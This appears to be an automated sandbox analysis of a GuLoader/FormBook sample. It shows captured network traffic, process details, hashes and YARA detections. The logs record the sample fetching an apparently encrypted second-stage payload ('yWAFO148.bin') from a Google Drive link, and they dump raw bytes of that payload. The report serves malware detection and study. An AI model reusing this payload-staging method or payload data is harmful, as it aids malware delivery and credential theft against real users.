20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Jun 4, 2024 14:23:20.031694889 CEST	1289	IN	Data Raw: 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex; flex-direction: column; align-items: ce
Jun 4, 2024 14:23:20.031754971 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 68 31 3e 6a 64 70 73 2e 6f 72 67 20 69 73 20 63 6f 6d 69 6e 67 20 73 6f 6f 6e 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 54 68 69 Data Ascii: <h1>jdps.org is coming soon</h1> </div> <div>This domain is managed at <br> <a href="//www.namebright.com" id="logo" target="_parent" alt="NameBright.com - Next Generation Domain Registration"
Jun 4, 2024 14:23:20.031815052 CEST	1289	IN	Data Raw: 37 39 2e 34 34 37 31 33 2c 37 39 2e 34 34 37 31 33 2c 30 2c 30 2c 30 2d 31 33 2e 36 34 38 37 2e 39 37 35 37 76 36 30 2e 31 37 34 34 33 61 32 2e 38 30 34 35 37 2c 32 2e 38 30 34 35 37 2c 30 2c 30 2c 31 2d 32 2e 36 34 38 31 38 2c 32 2e 39 32 37 37 Data Ascii: 79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H446.56779a2.91881,2.91881,0,0,1-2.78613-2.92778V78.77935c0-1.81043,1.25192-3.34127,3.76218-4.17768,8.91384-2.92408,16.29653-4.03973,28.27274-4.03973,1.67249,0,
Jun 4, 2024 14:23:20.031835079 CEST	1289	IN	Data Raw: 2e 38 33 33 38 39 2c 31 37 37 2e 39 35 39 32 34 5a 4d 35 36 36 2e 37 38 35 38 2c 38 36 2e 38 35 38 38 32 61 37 36 2e 33 36 38 33 35 2c 37 36 2e 33 36 38 33 35 2c 30 2c 30 2c 30 2d 31 33 2e 33 36 39 34 34 2d 31 2e 32 35 35 32 39 63 2d 31 31 2e 39 Data Ascii: .83389,177.95924ZM566.7858,86.85882a76.36835,76.36835,0,0,0-13.36944-1.25529c-11.98261,0-14.90668,8.5017-14.90668,19.92245v10.726c0,11.42072,2.92407,19.92076,14.90668,19.92076a116.75844,116.75844,0,0,0,13.36944-1.117Zm93.44986,63.24184h-12.814
Jun 4, 2024 14:23:20.031853914 CEST	1289	IN	Data Raw: 32 2e 38 31 37 2c 32 32 2e 31 39 39 31 39 61 31 2e 32 34 35 33 37 2c 31 2e 32 34 35 33 37 2c 30 2c 30 2c 31 2d 31 2e 37 30 32 30 39 2e 34 35 38 35 38 4c 35 30 39 2e 34 35 38 2c 33 30 2e 30 30 34 31 32 61 31 2e 32 34 36 31 36 2c 31 2e 32 34 36 31 Data Ascii: 2.817,22.19919a1.24537,1.24537,0,0,1-1.70209.45858L509.458,30.00412a1.24616,1.24616,0,0,1-.45656-1.70176l12.814-22.19784A1.30157,1.30157,0,0,1,523.55018,5.59211Z" class="cls-2"></path><path d="M543.79932,23.73541l2.86856,4.971a1.305,1.305,0,0,
Jun 4, 2024 14:23:20.031873941 CEST	1289	IN	Data Raw: 31 2c 30 2c 30 2c 31 2c 2e 34 35 33 35 33 2d 31 2e 37 30 32 30 39 6c 34 2e 39 37 31 2d 32 2e 38 36 38 32 32 61 31 2e 32 34 38 39 32 2c 31 2e 32 34 38 39 32 2c 30 2c 30 2c 31 2c 31 2e 37 30 32 31 2e 34 35 38 32 34 6c 31 32 2e 38 32 30 33 36 2c 32 Data Ascii: 1,0,0,1,.45353-1.70209l4.971-2.86822a1.24892,1.24892,0,0,1,1.7021.45824l12.82036,22.19616A1.306,1.306,0,0,1,490.17148,30.00412Z" class="cls-2"></path><path d="M502.683,28.189h-5.73981a1.3064,1.3064,0,0,1-1.2452-1.30947V1.24856A1.25352,1.25352,
Jun 4, 2024 14:23:20.031894922 CEST	1289	IN	Data Raw: 35 32 2e 38 31 36 34 39 2c 31 34 37 2e 35 39 33 34 34 5a 4d 31 33 38 2e 31 38 38 37 33 2c 38 36 2e 35 38 31 32 35 61 38 30 2e 38 33 36 33 33 2c 38 30 2e 38 33 36 33 33 2c 30 2c 30 2c 30 2d 31 33 2e 33 37 30 37 39 2d 2e 39 37 37 37 32 63 2d 31 31 Data Ascii: 52.81649,147.59344ZM138.18873,86.58125a80.83633,80.83633,0,0,0-13.37079-.97772c-11.97958,0-14.907,8.5017-14.907,19.92245v10.726c0,11.42072,2.92744,19.92076,14.907,19.92076a81.24455,81.24455,0,0,0,13.37079-.9757Z" class="cls-2"></path><path d="
Jun 4, 2024 14:23:20.031914949 CEST	1289	IN	Data Raw: 36 33 2d 33 33 2e 37 31 30 34 34 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 39 34 33 35 31 63 30 2d 32 31 2e 37 32 39 35 31 2c 31 32 2e 31 31 37 31 39 2d 33 35 2e 33 38 31 35 37 2c 33 33 2e 34 32 39 35 2d 33 35 2e 33 38 31 35 37 2c 32 31 2e 34 35 Data Ascii: 63-33.71044-34.96235V105.94351c0-21.72951,12.11719-35.38157,33.4295-35.38157,21.45363,0,33.15362,14.62776,33.15362,35.38157v7.7982C347.291,115.97606,346.45491,117.228,344.50486,117.228Zm-15.73972-13.65374c0-10.86391-5.98978-17.1343-14.62777-17
Jun 4, 2024 14:23:20.031936884 CEST	1180	IN	Data Raw: 31 39 2e 34 31 38 31 31 2d 32 30 2e 32 33 33 73 31 39 2e 34 32 31 34 38 2c 38 2e 36 31 35 31 2c 31 39 2e 34 32 31 34 38 2c 32 30 2e 32 33 33 56 31 33 30 2e 35 31 38 43 38 31 38 2e 39 38 30 37 2c 31 34 32 2e 31 33 39 36 32 2c 38 31 32 2e 33 31 34 Data Ascii: 19.41811-20.233s19.42148,8.6151,19.42148,20.233V130.518C818.9807,142.13962,812.314,150.74765,799.55922,150.74765Zm8.69383-26.81055c0-6.66-3.00617-10.97058-8.69383-10.97058-5.68732,0-8.69382,4.31058-8.69382,10.97058V130.518c0,6.66336,3.0065,10.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49842	142.250.217.174	443	3344	C:\Users\user\Desktop\fJuwM4Bwi7.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-04 12:14:44 UTC	216	OUT	GET /uc?export=download&id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2024-06-04 12:14:45 UTC	1582	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 04 Jun 2024 12:14:44 GMT Location: https://drive.usercontent.google.com/download?id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-YeRv5Plf8HFHjGMuZHFaCg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49843	172.217.215.132	443	3344	C:\Users\user\Desktop\fJuwM4Bwi7.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-04 12:14:45 UTC	258	OUT	GET /download?id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-06-04 12:14:46 UTC	4802	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="yWAFO148.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Dom [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 270400 Last-Modified: Mon, 27 May 2024 11:27:50 GMT X-GUploader-UploadID: ABPtcPpKIQPT8prEKCKSemSaXDXygpXMLqOxd53KkaAagm_Ol6oemj7EQTwRi_-Dwr39fKcisKg Date: Tue, 04 Jun 2024 12:14:46 GMT Expires: Tue, 04 Jun 2024 12:14:46 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=Cquxjg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-04 12:14:46 UTC	4802	IN	Data Raw: ae c2 40 a0 a8 4d b5 21 1b 6e 6a a7 81 34 f6 f3 3f 7e a4 b3 2e ec 94 22 cc 5d c1 b6 e7 da 5e 17 75 bb fd 59 eb 7e 82 9c 9e ec 25 aa d2 9b 0f 9c b2 2c 16 47 63 8c 47 2b 5a 49 81 de b0 95 d6 d2 de 16 72 61 5f f8 d8 ba 19 69 d6 71 6e f5 8f 0e d7 1a 3e 44 2b c7 9e 7a cc a7 e1 a7 77 64 1f 17 88 72 0f 79 43 d4 f9 39 a6 fe 73 87 f4 ff 75 14 7e 8a 43 6d 82 91 15 91 f2 24 2d e0 cf de 6e cf d6 79 48 04 05 9f 1b e8 71 79 cc 06 ed ac ff ab 00 bd 5f 4e da 46 e1 09 b6 4f 5a 35 3c c8 4f 0a d4 4c f6 0f 95 28 67 c9 df 5b 83 47 aa ce d6 9e da 1e 5b a2 5b 34 21 e7 53 4c 73 b5 56 45 d7 16 93 37 f9 e8 5b 75 6c 47 ca bf 90 a0 0d 95 ac 0b 21 9a a7 b1 24 0d 80 be 01 f5 a4 d8 b7 03 0a 4e 54 38 47 af 03 99 3f 46 92 35 dc 92 2e 68 0c b3 cd b6 72 73 8e 84 c2 f1 ac ac 0b 8c ed e3 d5 Data Ascii: @M!nj4?~."]^uY~%,GcG+ZIra_iqn>D+zwdryC9su~Cm$-nyHqy_NFOZ5<OL(g[G[[4!SLsVE7[ulG!$NT8G?F5.hrs
2024-06-04 12:14:46 UTC	4802	IN	Data Raw: 2b 2d c2 9b 2b c2 43 1b 89 78 0f 98 1b 84 fc 5c 63 31 ff 08 57 f8 e8 29 e7 09 27 8a 0b 9c 0e fb 5d cb d4 3c 51 12 62 c9 2f a8 18 a9 a3 45 15 b0 60 00 be 75 df 13 d9 19 a8 9f d3 5f 39 42 fb a7 c7 68 fd da 91 fe ee 15 0a 9a 7f 3c e6 3e e0 a6 3a 43 b6 d3 2c f2 dd fc d6 e0 9d e2 2e 51 87 bc a4 6c 98 72 6f 4c de 44 f7 9c 1f 74 9e cf 5c ba b9 7e 3d de 12 ae c2 ca 32 c9 64 37 43 6e 4d 88 75 ca c0 8e b4 4c ad 42 5e f6 45 7d f3 31 9a a9 c1 f9 b5 42 54 bd 32 7c da ef 19 e9 5b 12 dd 6a 24 1b 57 ab 88 3d 1c c8 e0 b2 a5 5a 46 38 de 08 a5 a2 d7 e5 bd 58 1b 29 e9 74 27 09 d1 e3 95 80 bb 02 93 39 69 b8 fa f4 d7 ed d9 57 5a 4f 22 98 21 82 c1 63 6b 83 6d d2 43 a3 04 07 2e 1d 4e 3f 9c 5a 73 81 00 07 06 00 9f 36 70 ff 15 40 b1 23 b4 14 8d 85 3d 28 5e f7 1a 47 b3 2c de ef 09 Data Ascii: +-+Cx\c1W)']<Qb/E`u_9Bh<>:C,.QlroLDt\~=2d7CnMuLB^E}1BT2\|[j$W=ZF8X)t'9iWZO"!ckmC.N?Zs6p@#=(^G,
2024-06-04 12:14:46 UTC	291	IN	Data Raw: d8 b5 45 e2 14 06 0a d6 2a 14 93 0d f9 41 76 0a 69 03 fd 15 89 44 96 77 2d 69 e8 f9 71 77 4f 35 4e d0 62 20 ae 21 8d a5 ba c1 d6 ae 3b 40 30 14 94 3f 03 2b 15 e3 5a 02 2e 5f 74 a3 7b 53 f1 00 19 33 eb 56 81 4d 81 6e b3 92 2b 9c 07 87 ad 9c fb 2a 5d 7e fe 50 4c 9e b5 00 bb f5 fa f4 45 da ac 9c a3 3c cd f5 7c 97 23 55 31 e8 e8 c0 e9 c0 e6 79 3b 7b 76 0d ea 4a 4d d9 ef 0f f1 4b d8 09 d6 03 fe 89 58 5f b9 80 49 82 8d f3 75 1a fb ba 7b 69 04 77 d5 bc 44 14 64 56 82 c3 38 89 f9 e9 5d b7 04 18 9f cb b1 71 a3 33 2a 23 62 51 c5 b9 2e 85 02 84 bc 02 bd fa c3 7f 13 b8 09 2a d4 f8 73 17 54 4c 73 0d 9a 5f ed c6 cb d8 d9 b7 24 ff 8b 41 73 8e 77 9a 15 b8 a8 0a 5d 34 14 e2 2c 5f 41 c9 a5 af 60 8c 75 d0 16 bc cb 3d 13 a0 9f 0a 98 97 19 f8 a7 28 a9 0f 97 6b 86 22 ed 48 50 Data Ascii: EAviDw-iqwO5Nb !;@0?+Z._t{S3VMn+]~PLE<\|#U1y;{vJMKX_Iu{iwDdV8]q3#bQ.sTLs_$Asw]4,_A`u=(k"HP
2024-06-04 12:14:46 UTC	1255	IN	Data Raw: 3e 52 a2 14 ca 1e cd bc e8 5f 5d cd f2 22 1e ba a1 1d 9f 19 21 09 46 1c 9d 4a 9d f1 ac a1 bd 31 d3 69 c7 ed f2 5c e7 db 60 6c df ee 3b 1a 7e 47 cb af 41 d3 22 4e f1 f3 6b 1e 2f 2b 99 7e eb 1c d5 03 bc 82 7d c3 ff 31 4c a5 7d b5 85 75 01 49 03 7e 8a 3f b6 0f f5 31 91 4a df 6e c1 ce 29 85 cc 0b a7 08 0d 8e f1 d3 ce 4f c2 17 3f cb 34 25 c1 69 ce c5 b2 a8 29 86 c3 db 22 7a 56 60 2a 21 65 a0 63 db a8 fc 2f e7 94 00 0b 90 77 98 d0 0e eb bf fa 4a cb 5e cb a7 12 fd 4e 4f f4 24 70 eb 6c 9d 07 cc 12 10 11 37 d5 85 f6 7d 4f 26 c9 90 8b 2a 06 cc 36 3d 62 51 85 14 e5 cd a8 4a 43 56 75 a5 8a d6 9f 4b eb 57 03 08 53 09 39 90 e1 4b 7b 05 5d 71 49 8a 92 b7 e2 bb ab 30 f1 b1 90 6d a4 3a 12 db 01 7a 50 21 4f 86 c2 58 a2 40 f1 77 a3 e6 71 2e 01 44 10 43 21 6a 7f 06 25 ad 50 Data Ascii: >R_]"!FJ1i\`l;~GA"Nk/+~}1L}uI~?1Jn)O?4%i)"zV`!ec/wJ^NO$pl7}O&6=bQJCVuKWS9K{]qI0m:zP!OX@wq.DC!j%P
2024-06-04 12:14:46 UTC	1255	IN	Data Raw: 29 36 18 0d 7c c4 5b 29 ca 5a 82 64 a3 34 e4 76 02 df 31 e3 f0 ba 86 64 84 32 66 9c 3d 36 3f 30 06 68 75 bb fa da 98 cd 7f fa 4a 4b cb a1 62 43 d4 43 2d a6 fe 73 3f ed ff 75 14 f3 2e 67 6d 82 91 15 12 0a 30 22 ac b5 97 1b 38 61 c7 a7 0a 05 91 d2 25 50 c1 75 cf 20 8d ab 28 6f 43 e4 3e a8 29 86 46 17 22 7a 56 52 ea e3 2c d5 99 2d db fc 5a 12 1d b3 32 ed 67 56 bf 85 be b7 fc a4 c7 75 39 2c 6e 8f 00 7c f9 94 0c a2 e1 53 ac b2 48 66 af e9 b4 f7 df 4f af 30 f5 cb 13 3d b1 94 42 1e 6d e7 70 f9 53 0e 2b 84 2c af f4 3b 6b b3 02 b4 3a 03 3e 25 01 7c 71 6e 04 ee bf c2 32 10 8c 71 7b 7b bb f4 e9 0b 34 08 62 de 53 93 43 d9 d0 bb aa 7d 4f a9 5e 72 e2 1d 08 c2 13 e6 d7 6b 47 8d 49 c1 3e c0 0b 15 1f 9d 44 3a 40 b1 8b 3e 10 d7 12 33 5c ff 4f 14 31 9b cb 45 47 7a 58 fd 16 Data Ascii: )6\|[)Zd4v1d2f=6?0huJKbCC-s?u.gm0"8a%Pu (oC>)F"zVR,-Z2gVu9,n\|SHfO0=BmpS+,;k:>%\|qn2q{{4bSC}O^rkGI>D:@>3\O1EGzX
2024-06-04 12:14:46 UTC	1255	IN	Data Raw: aa 98 fb b1 f9 0d cd b6 c9 61 06 a5 d7 3e eb 7f af 78 f7 c9 d6 72 74 84 8b 82 3a e6 3a 54 8b 98 88 42 7b 68 f8 83 75 bc e0 17 7e eb 6e 0d 27 fe e3 8f d1 d8 c5 db 9f 73 ed fa 2b 12 a5 29 c9 82 cb ef 8d 54 3c 96 89 f2 bb 47 d7 79 84 d4 e5 2a 04 b5 c3 24 65 a0 2f 17 ae bd db e9 a7 fe 32 ed 1b 4e 0a f8 42 71 f4 d2 39 8a c6 2c 2b 32 b8 73 0d b7 47 c0 ae 1d d9 f3 9f a7 ef 0c 3f 0d 1e 18 4c 33 0f be 13 c4 49 03 cf 9b 81 19 b2 e4 ac 7b 23 db 8b f9 bd 4e 9e 6f 98 33 a6 06 ee 4b b9 e2 39 37 84 62 1f eb 5d 76 1e ca 79 97 7a 10 ba 5d db 1f a1 d9 fb 64 99 13 8c 33 50 c2 fd ed 7c a3 0a f0 03 4d fc e6 66 b2 2c 52 45 b7 76 d2 7f 9f ae ca 19 36 6b e2 90 1e 10 d7 12 b9 63 0b 0b 30 3b 79 b6 57 bb c2 db fd 9b d1 a1 23 89 c1 a7 8f 31 65 cf 95 99 2f 65 04 36 83 79 19 6d fd 1d Data Ascii: a>xrt::TB{hu~n's+)T<Gy*$e/2NBq9,+2sG?L3I{#No3K97b]vyz]d3P\|Mf,REv6kc0;yW#1e/e6ym
2024-06-04 12:14:46 UTC	1255	IN	Data Raw: b5 49 21 e7 af f9 39 61 b8 2f c8 fa ff 75 d3 38 fa a4 4e 82 91 9e df be af f4 6b b6 fb ee 30 27 65 33 e1 03 18 ca ae 16 f5 f8 1c d7 72 54 e0 a8 45 31 66 69 c9 94 f0 2e e3 91 51 6e 7e aa a4 61 84 96 eb 52 5a 12 a7 c1 01 15 ec e8 b4 d3 c9 ae 7b 1c 06 fe 77 70 2c 97 4e f8 64 97 aa ce 25 12 bd 31 6d 66 ea 0c b4 36 35 fa 60 e0 7e 8d 80 0e 6a 78 5b 1e 4e 26 c6 55 23 cf cb 8c a2 87 b5 7d 4e 67 9d fe 11 5b 3c 85 54 34 3b 36 08 95 bf d2 87 37 7b 05 c2 e6 30 91 e1 02 b9 f7 95 d5 fb 47 6b 51 4c 72 91 9a c9 50 57 12 b3 6e f1 7d cb a2 a7 b8 4b 13 0a cc 7d 67 7d bc fa 90 ad d3 42 c3 d0 e5 4f 89 98 f2 3c 65 f8 31 12 87 d4 8e c7 88 6c 9b f9 47 f4 e9 dd 73 64 60 82 c7 2e ce 62 f7 2d df 56 9e f2 c2 bd 71 53 15 04 3e 9a 0d d3 d6 48 77 47 c5 e3 0f 4a 58 5d f1 78 dd 1a 1e 49 Data Ascii: I!9a/u8Nk0'e3rTE1fi.Qn~aRZ{wp,Nd%1mf65`~jx[N&U#}Ng[<T4;67{0GkQLrPWn}K}g}BO<e1lGsd`.b-VqS>HwGJX]xI
2024-06-04 12:14:46 UTC	1255	IN	Data Raw: 17 84 82 a8 6c f9 f2 65 aa b8 c8 49 19 07 1a a5 64 f3 f3 ab 87 3f 4a 35 aa 11 99 5e f4 33 5f 9a ce 8c c0 95 26 54 85 6b de 41 4e b3 f2 26 a9 36 74 76 a8 b3 5a fc 60 23 7f 81 08 ce 7e 2f ab bd af 8b f7 5d b0 3a e8 f6 7d 96 11 13 98 20 41 3b 8a e5 1d 75 14 1f fb fd b1 2d 8d c6 c3 bb d2 1b 6c cd 87 5b d6 f8 07 22 bc 26 90 56 a0 4a 1f 9f b2 db 80 24 a3 3b fc 59 88 bb 4d 04 dd 05 af 1f eb e5 62 78 8a b0 e4 a2 57 70 d1 40 2e af e3 07 e9 f8 74 a3 b5 4a 31 01 33 7a bc 8a ca aa 01 2b 2f 45 2c 2e 10 49 51 8a e8 20 53 6a 5b 67 fd 45 7c 19 07 e9 80 9b 5e 02 bf 70 27 87 00 0b 12 8c 80 8b 31 2d 97 08 42 e2 1a 86 8f 5b 41 6b 61 5d 4f 54 21 7f f1 18 ce 9e e1 e9 72 ae 71 04 3b 05 07 03 fb f3 02 73 89 df cd d3 f9 86 40 ba cf 19 ef ee b9 8b 6e 05 b9 22 55 9d 0f 9c 62 10 b7 Data Ascii: leId?J5^3_&TkAN&6tvZ`#~/]:} A;u-l["&VJ$;YMbxWp@.tJ13z+/E,.IQ Sj[gE\|^p'1-B[Aka]OT!rq;s@n"Ub
2024-06-04 12:14:46 UTC	1255	IN	Data Raw: 04 80 3a a5 0e 9c 7f b4 a9 f6 2e 58 54 24 c1 a3 3f 11 a6 4b bc 70 46 29 27 28 06 fe f9 5e cf 78 c5 a9 6b 4f 79 79 8e 31 8c f9 ef 07 08 a0 13 1e 6d 1d a3 a4 7c 0f 11 f4 06 f3 4e 6f 4e ea 1d 76 66 4f 89 11 f6 75 95 b1 8b 1b 42 f1 5a c6 c7 27 2b a3 47 de e9 ca 1e eb f8 cd e0 e3 c5 85 f7 4c 02 ea de a4 91 88 6a e8 47 c8 6b 24 86 d9 43 4e ce c0 4e 25 bd 86 c9 b2 1c 55 ea b1 79 54 0e ea ee 45 aa 75 1e 6c da 2a 79 8f e1 45 4c 54 24 bb e6 6b 83 40 b6 db d8 7a 52 0c 56 d3 22 f4 c5 04 01 3a 5c 77 9f 04 66 b3 74 89 89 17 36 af a2 09 0f ec fd 9f 02 fb 3c 49 53 a4 80 18 37 cc a6 50 e8 37 3d fb e1 d8 96 5a c2 b4 c0 e8 01 97 e5 bd dc 02 44 3a a1 f2 2d 2e 88 a2 24 0c 60 0b c6 a7 fa 65 b5 03 c9 88 7e a6 70 6a 76 27 45 41 e0 a6 bb 5b 71 17 bb d2 81 8a c3 ab 3e d3 dc a2 7a Data Ascii: :.XT$?KpF)'(^xkOyy1m\|NoNvfOuBZ'+GLjGk$CNN%UyTEul*yELT$k@zRV":\wft6<IS7P7=ZD:-.$`e~pjv'EA[q>z
2024-06-04 12:14:46 UTC	1255	IN	Data Raw: f2 7a 0a 79 89 81 c3 fc 76 4e 65 e5 38 07 93 70 2d 77 f4 f9 68 5f 39 4d ee a8 21 14 62 20 b5 35 a4 7f d2 26 29 df 25 f3 43 63 70 6d cd 88 3b 00 fc 21 f8 cb af f5 79 c8 8d 03 b3 69 6c b2 2a ee 49 a7 5a fd 40 2f 0d da 86 34 db 33 13 2f da 62 b0 bb c7 61 65 7c 70 7d 66 ad 07 cf e2 42 57 c9 13 53 d7 59 3a 1f 06 5a 90 4c f8 33 bf 60 df 60 c4 dd 47 ef 13 85 53 12 7c 22 ca ac e6 1f d5 36 eb e1 c7 5a 9e 2b b5 d1 d2 3a 61 e9 7d 61 fa 35 3e aa 0f 53 9c 10 dd e6 2b 9c 48 bf 63 44 77 d1 f0 97 8c 94 81 16 4b 26 10 ae fa c0 8f 38 7f eb e4 bc 97 07 94 f4 9f 8c 03 40 16 88 b3 eb 56 09 c6 e8 12 19 d0 7f b3 c3 2e 94 91 ff 36 b5 8a cb 0f 0f 00 e3 a5 7e 46 f4 e9 0a 5c 5c 70 2a 25 93 45 fb 40 6f e8 e0 fe 7e 19 d6 04 66 42 7f 87 01 b8 2c 52 d8 50 6b e7 c3 ab b7 7c dc 87 95 6e Data Ascii: zyvNe8p-wh_9M!b 5&)%Ccpm;!yilIZ@/43/bae\|p}fBWSY:ZL3``GS\|"6Z+:a}a5>S+HcDwK&8@V.6~F\\p%E@o~fB,RPk\|n

Target ID:	5
Start time:	08:14:14
Start date:	04/06/2024
Path:	C:\Users\user\Desktop\fJuwM4Bwi7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fJuwM4Bwi7.exe"
Imagebase:	0x400000
File size:	600'280 bytes
MD5 hash:	0CB5485C0840CF976767BC45FB0B45D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.79055979562.0000000004FBC000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:14:33
Start date:	04/06/2024
Path:	C:\Users\user\Desktop\fJuwM4Bwi7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fJuwM4Bwi7.exe"
Imagebase:	0x7ff681ba0000
File size:	600'280 bytes
MD5 hash:	0CB5485C0840CF976767BC45FB0B45D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:14:50
Start date:	04/06/2024
Path:	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe"
Imagebase:	0xa20000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
